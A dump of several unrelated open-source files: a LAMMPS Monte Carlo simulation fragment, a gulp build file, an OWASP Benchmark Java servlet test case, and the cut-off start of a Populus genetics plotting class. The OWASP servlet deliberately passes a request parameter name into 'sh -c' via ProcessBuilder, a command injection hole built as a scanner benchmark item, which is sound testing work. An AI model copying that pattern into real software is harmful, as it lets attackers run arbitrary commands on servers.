double **x = atom->x;
double rx,ry,rz;
double com_displace[3],coord[3];
double rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_equal->uniform() - 1.0;
ry = 2*random_equal->uniform() - 1.0;
rz = 2*random_equal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
com_displace[0] = displace*rx;
com_displace[1] = displace*ry;
com_displace[2] = displace*rz;
if (regionflag) {
int *mask = atom->mask;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
mask[i] |= molecule_group_bit;
} else {
mask[i] &= molecule_group_inversebit;
}
}
double com[3];
com[0] = com[1] = com[2] = 0.0;
group->xcm(molecule_group,gas_mass,com);
coord[0] = com[0] + displace*rx;
coord[1] = com[1] + displace*ry;
coord[2] = com[2] + displace*rz;
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_equal->uniform() - 1.0;
ry = 2*random_equal->uniform() - 1.0;
rz = 2*random_equal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = com[0] + displace*rx;
coord[1] = com[1] + displace*ry;
coord[2] = com[2] + displace*rz;
}
com_displace[0] = displace*rx;
com_displace[1] = displace*ry;
com_displace[2] = displace*rz;
}
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
x[i][0] += com_displace[0];
x[i][1] += com_displace[1];
x[i][2] += com_displace[2];
if (!domain->inside_nonperiodic(x[i]))
error->one(FLERR,"Fix gcmc put atom outside box");
}
}
double energy_after = energy_full();
if (energy_after < MAXENERGYTEST &&
random_equal->uniform() <
exp(beta*(energy_before - energy_after))) {
ntranslation_successes += 1.0;
energy_stored = energy_after;
} else {
energy_stored = energy_before;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
x[i][0] -= com_displace[0];
x[i][1] -= com_displace[1];
x[i][2] -= com_displace[2];
}
}
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_rotation_full()
{
nrotation_attempts += 1.0;
if (ngas == 0) return;
tagint rotation_molecule = pick_random_gas_molecule();
if (rotation_molecule == -1) return;
double energy_before = energy_stored;
int *mask = atom->mask;
int nmolcoords = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == rotation_molecule) {
mask[i] |= molecule_group_bit;
nmolcoords++;
} else {
mask[i] &= molecule_group_inversebit;
}
}
if (nmolcoords > nmaxmolatoms)
grow_molecule_arrays(nmolcoords);
double com[3];
com[0] = com[1] = com[2] = 0.0;
group->xcm(molecule_group,gas_mass,com);
// generate point in unit cube
// then restrict to unit sphere
double r[3],rotmat[3][3],quat[4];
double rsq = 1.1;
while (rsq > 1.0) {
r[0] = 2.0*random_equal->uniform() - 1.0;
r[1] = 2.0*random_equal->uniform() - 1.0;
r[2] = 2.0*random_equal->uniform() - 1.0;
rsq = MathExtra::dot3(r, r);
}
double theta = random_equal->uniform() * max_rotation_angle;
MathExtra::norm3(r);
MathExtra::axisangle_to_quat(r,theta,quat);
MathExtra::quat_to_mat(quat,rotmat);
double **x = atom->x;
imageint *image = atom->image;
int n = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (mask[i] & molecule_group_bit) {
molcoords[n][0] = x[i][0];
molcoords[n][1] = x[i][1];
molcoords[n][2] = x[i][2];
molimage[n] = image[i];
double xtmp[3];
domain->unmap(x[i],image[i],xtmp);
xtmp[0] -= com[0];
xtmp[1] -= com[1];
xtmp[2] -= com[2];
MathExtra::matvec(rotmat,xtmp,x[i]);
x[i][0] += com[0];
x[i][1] += com[1];
x[i][2] += com[2];
image[i] = imagezero;
domain->remap(x[i],image[i]);
if (!domain->inside(x[i]))
error->one(FLERR,"Fix gcmc put atom outside box");
n++;
}
}
double energy_after = energy_full();
if (energy_after < MAXENERGYTEST &&
random_equal->uniform() <
exp(beta*(energy_before - energy_after))) {
nrotation_successes += 1.0;
energy_stored = energy_after;
} else {
energy_stored = energy_before;
int n = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (mask[i] & molecule_group_bit) {
x[i][0] = molcoords[n][0];
x[i][1] = molcoords[n][1];
x[i][2] = molcoords[n][2];
image[i] = molimage[n];
n++;
}
}
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_deletion_full()
{
ndeletion_attempts += 1.0;
if (ngas == 0 || ngas <= min_ngas) return;
// work-around to avoid n=0 problem with fix rigid/nvt/small
if (ngas == natoms_per_molecule) return;
tagint deletion_molecule = pick_random_gas_molecule();
if (deletion_molecule == -1) return;
double energy_before = energy_stored;
// check nmolq, grow arrays if necessary
int nmolq = 0;
for (int i = 0; i < atom->nlocal; i++)
if (atom->molecule[i] == deletion_molecule)
if (atom->q_flag) nmolq++;
if (nmolq > nmaxmolatoms)
grow_molecule_arrays(nmolq);
int m = 0;
int *tmpmask = new int[atom->nlocal];
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == deletion_molecule) {
tmpmask[i] = atom->mask[i];
atom->mask[i] = exclusion_group_bit;
toggle_intramolecular(i);
if (atom->q_flag) {
molq[m] = atom->q[i];
m++;
atom->q[i] = 0.0;
}
}
}
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
double energy_after = energy_full();
// energy_before corrected by energy_intra
double deltaphi = ngas*exp(beta*((energy_before - energy_intra) - energy_after))/(zz*volume*natoms_per_molecule);
if (random_equal->uniform() < deltaphi) {
int i = 0;
while (i < atom->nlocal) {
if (atom->molecule[i] == deletion_molecule) {
atom->avec->copy(atom->nlocal-1,i,1);
atom->nlocal--;
} else i++;
}
atom->natoms -= natoms_per_molecule;
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
ndeletion_successes += 1.0;
energy_stored = energy_after;
} else {
energy_stored = energy_before;
int m = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == deletion_molecule) {
atom->mask[i] = tmpmask[i];
toggle_intramolecular(i);
if (atom->q_flag) {
atom->q[i] = molq[m];
m++;
}
}
}
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
}
update_gas_atoms_list();
delete[] tmpmask;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_insertion_full()
{
double lamda[3];
ninsertion_attempts += 1.0;
if (ngas >= max_ngas) return;
double energy_before = energy_stored;
tagint maxmol = 0;
for (int i = 0; i < atom->nlocal; i++) maxmol = MAX(maxmol,atom->molecule[i]);
tagint maxmol_all;
MPI_Allreduce(&maxmol,&maxmol_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
maxmol_all++;
if (maxmol_all >= MAXTAGINT)
error->all(FLERR,"Fix gcmc ran out of available molecule IDs");
int insertion_molecule = maxmol_all;
tagint maxtag = 0;
for (int i = 0; i < atom->nlocal; i++) maxtag = MAX(maxtag,atom->tag[i]);
tagint maxtag_all;
MPI_Allreduce(&maxtag,&maxtag_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
int nlocalprev = atom->nlocal;
double com_coord[3];
if (regionflag) {
int region_attempt = 0;
com_coord[0] = region_xlo + random_equal->uniform() *
(region_xhi-region_xlo);
com_coord[1] = region_ylo + random_equal->uniform() *
(region_yhi-region_ylo);
com_coord[2] = region_zlo + random_equal->uniform() *
(region_zhi-region_zlo);
while (domain->regions[iregion]->match(com_coord[0],com_coord[1],
com_coord[2]) == 0) {
com_coord[0] = region_xlo + random_equal->uniform() *
(region_xhi-region_xlo);
com_coord[1] = region_ylo + random_equal->uniform() *
(region_yhi-region_ylo);
com_coord[2] = region_zlo + random_equal->uniform() *
(region_zhi-region_zlo);
region_attempt++;
if (region_attempt >= max_region_attempts) return;
}
if (triclinic) domain->x2lamda(com_coord,lamda);
} else {
if (triclinic == 0) {
com_coord[0] = xlo + random_equal->uniform() * (xhi-xlo);
com_coord[1] = ylo + random_equal->uniform() * (yhi-ylo);
com_coord[2] = zlo + random_equal->uniform() * (zhi-zlo);
} else {
lamda[0] = random_equal->uniform();
lamda[1] = random_equal->uniform();
lamda[2] = random_equal->uniform();
// wasteful, but necessary
if (lamda[0] == 1.0) lamda[0] = 0.0;
if (lamda[1] == 1.0) lamda[1] = 0.0;
if (lamda[2] == 1.0) lamda[2] = 0.0;
domain->lamda2x(lamda,com_coord);
}
}
// generate point in unit cube
// then restrict to unit sphere
double r[3],rotmat[3][3],quat[4];
double rsq = 1.1;
while (rsq > 1.0) {
r[0] = 2.0*random_equal->uniform() - 1.0;
r[1] = 2.0*random_equal->uniform() - 1.0;
r[2] = 2.0*random_equal->uniform() - 1.0;
rsq = MathExtra::dot3(r, r);
}
double theta = random_equal->uniform() * MY_2PI;
MathExtra::norm3(r);
MathExtra::axisangle_to_quat(r,theta,quat);
MathExtra::quat_to_mat(quat,rotmat);
double vnew[3];
vnew[0] = random_equal->gaussian()*sigma;
vnew[1] = random_equal->gaussian()*sigma;
vnew[2] = random_equal->gaussian()*sigma;
for (int i = 0; i < natoms_per_molecule; i++) {
double xtmp[3];
MathExtra::matvec(rotmat,onemols[imol]->x[i],xtmp);
xtmp[0] += com_coord[0];
xtmp[1] += com_coord[1];
xtmp[2] += com_coord[2];
// need to adjust image flags in remap()
imageint imagetmp = imagezero;
domain->remap(xtmp,imagetmp);
if (!domain->inside(xtmp))
error->one(FLERR,"Fix gcmc put atom outside box");
int proc_flag = 0;
if (triclinic == 0) {
if (xtmp[0] >= sublo[0] && xtmp[0] < subhi[0] &&
xtmp[1] >= sublo[1] && xtmp[1] < subhi[1] &&
xtmp[2] >= sublo[2] && xtmp[2] < subhi[2]) proc_flag = 1;
} else {
domain->x2lamda(xtmp,lamda);
if (lamda[0] >= sublo[0] && lamda[0] < subhi[0] &&
lamda[1] >= sublo[1] && lamda[1] < subhi[1] &&
lamda[2] >= sublo[2] && lamda[2] < subhi[2]) proc_flag = 1;
}
if (proc_flag) {
atom->avec->create_atom(onemols[imol]->type[i],xtmp);
int m = atom->nlocal - 1;
// add to groups
// optionally add to type-based groups
atom->mask[m] = groupbitall;
for (int igroup = 0; igroup < ngrouptypes; igroup++) {
if (ngcmc_type == grouptypes[igroup])
atom->mask[m] |= grouptypebits[igroup];
}
atom->image[m] = imagetmp;
atom->molecule[m] = insertion_molecule;
if (maxtag_all+i+1 >= MAXTAGINT)
error->all(FLERR,"Fix gcmc ran out of available atom IDs");
atom->tag[m] = maxtag_all + i + 1;
atom->v[m][0] = vnew[0];
atom->v[m][1] = vnew[1];
atom->v[m][2] = vnew[2];
atom->add_molecule_atom(onemols[imol],i,m,maxtag_all);
modify->create_attribute(m);
}
}
// FixRigidSmall::set_molecule stores rigid body attributes
// FixShake::set_molecule stores shake info for molecule
for (int submol = 0; submol < nmol; ++submol) {
if (rigidflag)
fixrigid->set_molecule(nlocalprev,maxtag_all,submol,com_coord,vnew,quat);
else if (shakeflag)
fixshake->set_molecule(nlocalprev,maxtag_all,submol,com_coord,vnew,quat);
}
atom->natoms += natoms_per_molecule;
if (atom->natoms < 0)
error->all(FLERR,"Too many total atoms");
atom->nbonds += onemols[imol]->nbonds;
atom->nangles += onemols[imol]->nangles;
atom->ndihedrals += onemols[imol]->ndihedrals;
atom->nimpropers += onemols[imol]->nimpropers;
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
double energy_after = energy_full();
// energy_after corrected by energy_intra
double deltaphi = zz*volume*natoms_per_molecule*
exp(beta*(energy_before - (energy_after - energy_intra)))/(ngas + natoms_per_molecule);
if (energy_after < MAXENERGYTEST &&
random_equal->uniform() < deltaphi) {
ninsertion_successes += 1.0;
energy_stored = energy_after;
} else {
atom->nbonds -= onemols[imol]->nbonds;
atom->nangles -= onemols[imol]->nangles;
atom->ndihedrals -= onemols[imol]->ndihedrals;
atom->nimpropers -= onemols[imol]->nimpropers;
atom->natoms -= natoms_per_molecule;
energy_stored = energy_before;
int i = 0;
while (i < atom->nlocal) {
if (atom->molecule[i] == insertion_molecule) {
atom->avec->copy(atom->nlocal-1,i,1);
atom->nlocal--;
} else i++;
}
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
compute particle's interaction energy with the rest of the system
------------------------------------------------------------------------- */
double FixGCMC::energy(int i, int itype, tagint imolecule, double *coord)
{
double delx,dely,delz,rsq;
double **x = atom->x;
int *type = atom->type;
tagint *molecule = atom->molecule;
int nall = atom->nlocal + atom->nghost;
pair = force->pair;
cutsq = force->pair->cutsq;
double fpair = 0.0;
double factor_coul = 1.0;
double factor_lj = 1.0;
double total_energy = 0.0;
for (int j = 0; j < nall; j++) {
if (i == j) continue;
if (exchmode == EXCHMOL || movemode == MOVEMOL)
if (imolecule == molecule[j]) continue;
delx = coord[0] - x[j][0];
dely = coord[1] - x[j][1];
delz = coord[2] - x[j][2];
rsq = delx*delx + dely*dely + delz*delz;
int jtype = type[j];
// if overlap check requested, if overlap,
// return signal value for energy
if (overlap_flag && rsq < overlap_cutoffsq)
return MAXENERGYSIGNAL;
if (rsq < cutsq[itype][jtype])
total_energy +=
pair->single(i,j,itype,jtype,rsq,factor_coul,factor_lj,fpair);
}
return total_energy;
}
/* ----------------------------------------------------------------------
compute the energy of the given gas molecule in its current position
sum across all procs that own atoms of the given molecule
------------------------------------------------------------------------- */
double FixGCMC::molecule_energy(tagint gas_molecule_id)
{
double mol_energy = 0.0;
for (int i = 0; i < atom->nlocal; i++)
if (atom->molecule[i] == gas_molecule_id) {
mol_energy += energy(i,atom->type[i],gas_molecule_id,atom->x[i]);
}
double mol_energy_sum = 0.0;
MPI_Allreduce(&mol_energy,&mol_energy_sum,1,MPI_DOUBLE,MPI_SUM,world);
return mol_energy_sum;
}
/* ----------------------------------------------------------------------
compute system potential energy
------------------------------------------------------------------------- */
double FixGCMC::energy_full()
{
int imolecule;
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
if (modify->n_pre_neighbor) modify->pre_neighbor();
neighbor->build(1);
int eflag = 1;
int vflag = 0;
// if overlap check requested, if overlap,
// return signal value for energy
if (overlap_flag) {
int overlaptestall;
int overlaptest = 0;
double delx,dely,delz,rsq;
double **x = atom->x;
tagint *molecule = atom->molecule;
int nall = atom->nlocal + atom->nghost;
for (int i = 0; i < atom->nlocal; i++) {
if (exchmode == EXCHMOL || movemode == MOVEMOL)
imolecule = molecule[i];
for (int j = i+1; j < nall; j++) {
if (exchmode == EXCHMOL || movemode == MOVEMOL)
if (imolecule == molecule[j]) continue;
delx = x[i][0] - x[j][0];
dely = x[i][1] - x[j][1];
delz = x[i][2] - x[j][2];
rsq = delx*delx + dely*dely + delz*delz;
if (rsq < overlap_cutoffsq) {
overlaptest = 1;
break;
}
}
if (overlaptest) break;
}
MPI_Allreduce(&overlaptest, &overlaptestall, 1,
MPI_INT, MPI_MAX, world);
if (overlaptestall) return MAXENERGYSIGNAL;
}
// clear forces so they don't accumulate over multiple
// calls within fix gcmc timestep, e.g. for fix shake
size_t nbytes = sizeof(double) * (atom->nlocal + atom->nghost);
if (nbytes) memset(&atom->f[0][0],0,3*nbytes);
if (modify->n_pre_force) modify->pre_force(vflag);
if (force->pair) force->pair->compute(eflag,vflag);
if (atom->molecular != Atom::ATOMIC) {
if (force->bond) force->bond->compute(eflag,vflag);
if (force->angle) force->angle->compute(eflag,vflag);
if (force->dihedral) force->dihedral->compute(eflag,vflag);
if (force->improper) force->improper->compute(eflag,vflag);
}
if (force->kspace) force->kspace->compute(eflag,vflag);
// unlike Verlet, not performing a reverse_comm() or forces here
// b/c GCMC does not care about forces
// don't think it will mess up energy due to any post_force() fixes
// but Modify::pre_reverse() is needed for USER-INTEL
if (modify->n_pre_reverse) modify->pre_reverse(eflag,vflag);
if (modify->n_post_force) modify->post_force(vflag);
if (modify->n_end_of_step) modify->end_of_step();
// NOTE: all fixes with energy_global_flag set and which
// operate at pre_force() or post_force() or end_of_step()
// and which user has enabled via fix_modify energy yes,
// will contribute to total MC energy via pe->compute_scalar()
update->eflag_global = update->ntimestep;
double total_energy = c_pe->compute_scalar();
return total_energy;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
int FixGCMC::pick_random_gas_atom()
{
int i = -1;
int iwhichglobal = static_cast<int> (ngas*random_equal->uniform());
if ((iwhichglobal >= ngas_before) &&
(iwhichglobal < ngas_before + ngas_local)) {
int iwhichlocal = iwhichglobal - ngas_before;
i = local_gas_list[iwhichlocal];
}
return i;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
tagint FixGCMC::pick_random_gas_molecule()
{
int iwhichglobal = static_cast<int> (ngas*random_equal->uniform());
tagint gas_molecule_id = 0;
if ((iwhichglobal >= ngas_before) &&
(iwhichglobal < ngas_before + ngas_local)) {
int iwhichlocal = iwhichglobal - ngas_before;
int i = local_gas_list[iwhichlocal];
gas_molecule_id = atom->molecule[i];
}
tagint gas_molecule_id_all = 0;
MPI_Allreduce(&gas_molecule_id,&gas_molecule_id_all,1,
MPI_LMP_TAGINT,MPI_MAX,world);
return gas_molecule_id_all;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::toggle_intramolecular(int i)
{
if (atom->avec->bonds_allow)
for (int m = 0; m < atom->num_bond[i]; m++)
atom->bond_type[i][m] = -atom->bond_type[i][m];
if (atom->avec->angles_allow)
for (int m = 0; m < atom->num_angle[i]; m++)
atom->angle_type[i][m] = -atom->angle_type[i][m];
if (atom->avec->dihedrals_allow)
for (int m = 0; m < atom->num_dihedral[i]; m++)
atom->dihedral_type[i][m] = -atom->dihedral_type[i][m];
if (atom->avec->impropers_allow)
for (int m = 0; m < atom->num_improper[i]; m++)
atom->improper_type[i][m] = -atom->improper_type[i][m];
}
/* ----------------------------------------------------------------------
update the list of gas atoms
------------------------------------------------------------------------- */
void FixGCMC::update_gas_atoms_list()
{
int nlocal = atom->nlocal;
int *mask = atom->mask;
tagint *molecule = atom->molecule;
double **x = atom->x;
if (atom->nmax > gcmc_nmax) {
memory->sfree(local_gas_list);
gcmc_nmax = atom->nmax;
local_gas_list = (int *) memory->smalloc(gcmc_nmax*sizeof(int),
"GCMC:local_gas_list");
}
ngas_local = 0;
if (regionflag) {
if (exchmode == EXCHMOL || movemode == MOVEMOL) {
tagint maxmol = 0;
for (int i = 0; i < nlocal; i++) maxmol = MAX(maxmol,molecule[i]);
tagint maxmol_all;
MPI_Allreduce(&maxmol,&maxmol_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
double *comx = new double[maxmol_all];
double *comy = new double[maxmol_all];
double *comz = new double[maxmol_all];
for (int imolecule = 0; imolecule < maxmol_all; imolecule++) {
for (int i = 0; i < nlocal; i++) {
if (molecule[i] == imolecule) {
mask[i] |= molecule_group_bit;
} else {
mask[i] &= molecule_group_inversebit;
}
}
double com[3];
com[0] = com[1] = com[2] = 0.0;
group->xcm(molecule_group,gas_mass,com);
// remap unwrapped com into periodic box
domain->remap(com);
comx[imolecule] = com[0];
comy[imolecule] = com[1];
comz[imolecule] = com[2];
}
for (int i = 0; i < nlocal; i++) {
if (mask[i] & groupbit) {
if (domain->regions[iregion]->match(comx[molecule[i]],
comy[molecule[i]],comz[molecule[i]]) == 1) {
local_gas_list[ngas_local] = i;
ngas_local++;
}
}
}
delete[] comx;
delete[] comy;
delete[] comz;
} else {
for (int i = 0; i < nlocal; i++) {
if (mask[i] & groupbit) {
if (domain->regions[iregion]->match(x[i][0],x[i][1],x[i][2]) == 1) {
local_gas_list[ngas_local] = i;
ngas_local++;
}
}
}
}
} else {
for (int i = 0; i < nlocal; i++) {
if (mask[i] & groupbit) {
local_gas_list[ngas_local] = i;
ngas_local++;
}
}
}
MPI_Allreduce(&ngas_local,&ngas,1,MPI_INT,MPI_SUM,world);
MPI_Scan(&ngas_local,&ngas_before,1,MPI_INT,MPI_SUM,world);
ngas_before -= ngas_local;
}
/* ----------------------------------------------------------------------
return acceptance ratios
------------------------------------------------------------------------- */
double FixGCMC::compute_vector(int n)
{
if (n == 0) return ntranslation_attempts;
if (n == 1) return ntranslation_successes;
if (n == 2) return ninsertion_attempts;
if (n == 3) return ninsertion_successes;
if (n == 4) return ndeletion_attempts;
if (n == 5) return ndeletion_successes;
if (n == 6) return nrotation_attempts;
if (n == 7) return nrotation_successes;
return 0.0;
}
/* ----------------------------------------------------------------------
memory usage of local atom-based arrays
------------------------------------------------------------------------- */
double FixGCMC::memory_usage()
{
double bytes = (double)gcmc_nmax * sizeof(int);
return bytes;
}
/* ----------------------------------------------------------------------
pack entire state of Fix into one write
------------------------------------------------------------------------- */
void FixGCMC::write_restart(FILE *fp)
{
int n = 0;
double list[12];
list[n++] = random_equal->state();
list[n++] = random_unequal->state();
list[n++] = ubuf(next_reneighbor).d;
list[n++] = ntranslation_attempts;
list[n++] = ntranslation_successes;
list[n++] = nrotation_attempts;
list[n++] = nrotation_successes;
list[n++] = ndeletion_attempts;
list[n++] = ndeletion_successes;
list[n++] = ninsertion_attempts;
list[n++] = ninsertion_successes;
list[n++] = ubuf(update->ntimestep).d;
if (comm->me == 0) {
int size = n * sizeof(double);
fwrite(&size,sizeof(int),1,fp);
fwrite(list,sizeof(double),n,fp);
}
}
/* ----------------------------------------------------------------------
use state info from restart file to restart the Fix
------------------------------------------------------------------------- */
void FixGCMC::restart(char *buf)
{
int n = 0;
double *list = (double *) buf;
seed = static_cast<int> (list[n++]);
random_equal->reset(seed);
seed = static_cast<int> (list[n++]);
random_unequal->reset(seed);
next_reneighbor = (bigint) ubuf(list[n++]).i;
ntranslation_attempts = list[n++];
ntranslation_successes = list[n++];
nrotation_attempts = list[n++];
nrotation_successes = list[n++];
ndeletion_attempts = list[n++];
ndeletion_successes = list[n++];
ninsertion_attempts = list[n++];
ninsertion_successes = list[n++];
bigint ntimestep_restart = (bigint) ubuf(list[n++]).i;
if (ntimestep_restart != update->ntimestep)
error->all(FLERR,"Must not reset timestep when restarting fix gcmc");
}
void FixGCMC::grow_molecule_arrays(int nmolatoms) {
nmaxmolatoms = nmolatoms;
molcoords = memory->grow(molcoords,nmaxmolatoms,3,"gcmc:molcoords");
molq = memory->grow(molq,nmaxmolatoms,"gcmc:molq");
molimage = memory->grow(molimage,nmaxmolatoms,"gcmc:molimage");
}
| gpl-2.0 |
Chronicle-Studio/drupal_domo | .npm/gulpfile.js | 2492 | /**
*
* Web Starter Kit
* Copyright 2014 Google Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License
*
*/
'use strict';
// Include Gulp & Tools We'll Use
var gulp = require('gulp');
var gutil = require('gulp-util');
var $ = require('gulp-load-plugins')();
var del = require('del');
var runSequence = require('run-sequence');
// Lint JavaScript
gulp.task('jshint', function () {
return gulp.src('../scripts/*.js')
.pipe($.jshint())
.pipe($.jshint.reporter('jshint-stylish'));
});
// Optimize Images
gulp.task('images', function () {
return gulp.src('../images/**/*')
.pipe($.cache($.imagemin({
progressive: true,
interlaced: true
})))
.pipe(gulp.dest('../dist/images'))
.pipe($.size({title: 'images'}));
});
// Compile Any Other Sass Files You Added (styles)
gulp.task('scss:scss', function () {
return gulp.src(['../scss/**/*.scss'])
.pipe($.rubySass({
style: 'expanded',
precision: 10,
loadPath: [
'bower_components/bourbon/dist',
'bower_components/neat/app/assets/stylesheets',
'bower_components/normalize-scss'
]
}))
.on('error', gutil.log)
.pipe(gulp.dest('../styles'))
.pipe($.size({title: 'styles:scss'}));
});
// Output Final CSS Styles
gulp.task('styles', ['scss:scss']);
// Clean Output Directory
gulp.task('clean', del(['../.tmp', '../dist'], {force: true}));
// Watch Files For Changes & Reload
gulp.task('watch', function () {
gulp.watch(['../scss/**/*.scss'], ['styles']);
gulp.watch(['../scripts/*.js'], ['jshint']);
gulp.watch(['../images/**/*'], ['images']);
});
// Build Production Files, the Default Task
gulp.task('default', ['clean'], function (cb) {
runSequence('styles', ['jshint', 'images'], cb);
});
gulp.task('flatten', function () {
del(['../scripts/vendor'], {force: true});
gulp.src('bower_components/**/*.min.js')
.pipe($.flatten())
.pipe(gulp.dest('../scripts/vendor'));
});
| gpl-2.0 |
iammyr/Benchmark | src/main/java/org/owasp/benchmark/testcode/BenchmarkTest11290.java | 2731 | /**
* OWASP Benchmark Project v1.1
*
* This file is part of the Open Web Application Security Project (OWASP)
* Benchmark Project. For details, please see
* <a href="https://www.owasp.org/index.php/Benchmark">https://www.owasp.org/index.php/Benchmark</a>.
*
* The Benchmark is free software: you can redistribute it and/or modify it under the terms
* of the GNU General Public License as published by the Free Software Foundation, version 2.
*
* The Benchmark is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details
*
* @author Dave Wichers <a href="https://www.aspectsecurity.com">Aspect Security</a>
* @created 2015
*/
package org.owasp.benchmark.testcode;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/BenchmarkTest11290")
public class BenchmarkTest11290 extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String param = "";
java.util.Enumeration<String> names = request.getParameterNames();
if (names.hasMoreElements()) {
param = names.nextElement(); // just grab first element
}
String bar = new Test().doSomething(param);
String a1 = "";
String a2 = "";
String osName = System.getProperty("os.name");
if (osName.indexOf("Windows") != -1) {
a1 = "cmd.exe";
a2 = "/c";
} else {
a1 = "sh";
a2 = "-c";
}
String[] args = {a1, a2, "echo", bar};
ProcessBuilder pb = new ProcessBuilder(args);
try {
Process p = pb.start();
org.owasp.benchmark.helpers.Utils.printOSCommandResults(p);
} catch (IOException e) {
System.out.println("Problem executing cmdi - java.lang.ProcessBuilder(java.lang.String[]) Test Case");
throw new ServletException(e);
}
} // end doPost
private class Test {
public String doSomething(String param) throws ServletException, IOException {
String bar = new String( new sun.misc.BASE64Decoder().decodeBuffer(
new sun.misc.BASE64Encoder().encode( param.getBytes() ) ));
return bar;
}
} // end innerclass Test
} // end DataflowThruInnerClass
| gpl-2.0 |
cbs-rlt/populus | src/main/java/edu/umn/ecology/populus/model/sam/SAMParamInfo.java | 4316 | /*******************************************************************************
* Copyright (c) 2015 Regents of the University of Minnesota.
*
* This software is released under GNU General Public License 2.0
* http://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html
*******************************************************************************/
package edu.umn.ecology.populus.model.sam;
import edu.umn.ecology.populus.constants.ColorScheme;
import edu.umn.ecology.populus.math.NumberMath;
import edu.umn.ecology.populus.plot.BasicPlot;
import edu.umn.ecology.populus.plot.BasicPlotInfo;
public class SAMParamInfo implements BasicPlot {
public static final int numFreqs = 100;
public static final int PvsT = 0;
public static final int GenovsT = 1;
public static final int dPvsP = 2;
public static final int WBar = 3;
private final double s;
private final double h;
private final double mu;
private double qhat;
private final int gens;
private final int plotType;
private final double[] freqs;
@Override
public BasicPlotInfo getBasicPlotInfo() {
String mCap = "Selection and Mutation";
String yCap = "";
String xCap = "";
double[][][] points = null;
double[][] p;
if (plotType == PvsT || plotType == GenovsT) {
p = new double[gens + 1][freqs.length];
for (int i = 0; i <= gens; i++) {
System.arraycopy(freqs, 0, p[i], 0, freqs.length);
for (int j = 0; j < freqs.length; j++)
freqs[j] = pNext(freqs[j]);
}
} else {
p = new double[1][numFreqs];
for (int i = 0; i < numFreqs; i++)
p[0][i] = i * 1.0d / numFreqs;
}
switch (plotType){
case PvsT:
points = new double[freqs.length][2][p.length];
xCap = "Generations ( <b><i>t</> )";
yCap = "Gene Frequency ( "+ColorScheme.getColorString( 0 )+"<b><i>p</> ) ";
for(int i=0; i<p.length; i++)
for(int j=0; j<p[i].length; j++){
points[j][0][i] = i;
points[j][1][i] = p[i][j];
}
break;
case GenovsT:
points = new double[3][2][p.length];
xCap = "Generations ( <b><i>t</> )";
yCap = ColorScheme.getColorString( 0 ) + "p<sup>2</>, " + ColorScheme.getColorString( 1 ) + "2pq</>, " + ColorScheme.getColorString( 2 ) + "q<sup>2</> ";
for(int i=0; i<p.length; i++){
points[0][0][i] = i;
points[1][0][i] = i;
points[2][0][i] = i;
points[0][1][i] = p[i][0]*p[i][0];//p^2
points[1][1][i] = 2.0d*p[i][0]*(1.0d - p[i][0]);//2pq
points[2][1][i] = (1.0d - p[i][0])*(1.0d - p[i][0]);//q^2
}
break;
case dPvsP:
points = new double[1][2][p[0].length];
xCap = "Gene Frequency ( <b><i>p</> )";
yCap = ColorScheme.getColorString(0)+" <b><i>\u0394p</> ";
points[0][0] = p[0];
for(int i=0; i<p[0].length; i++)
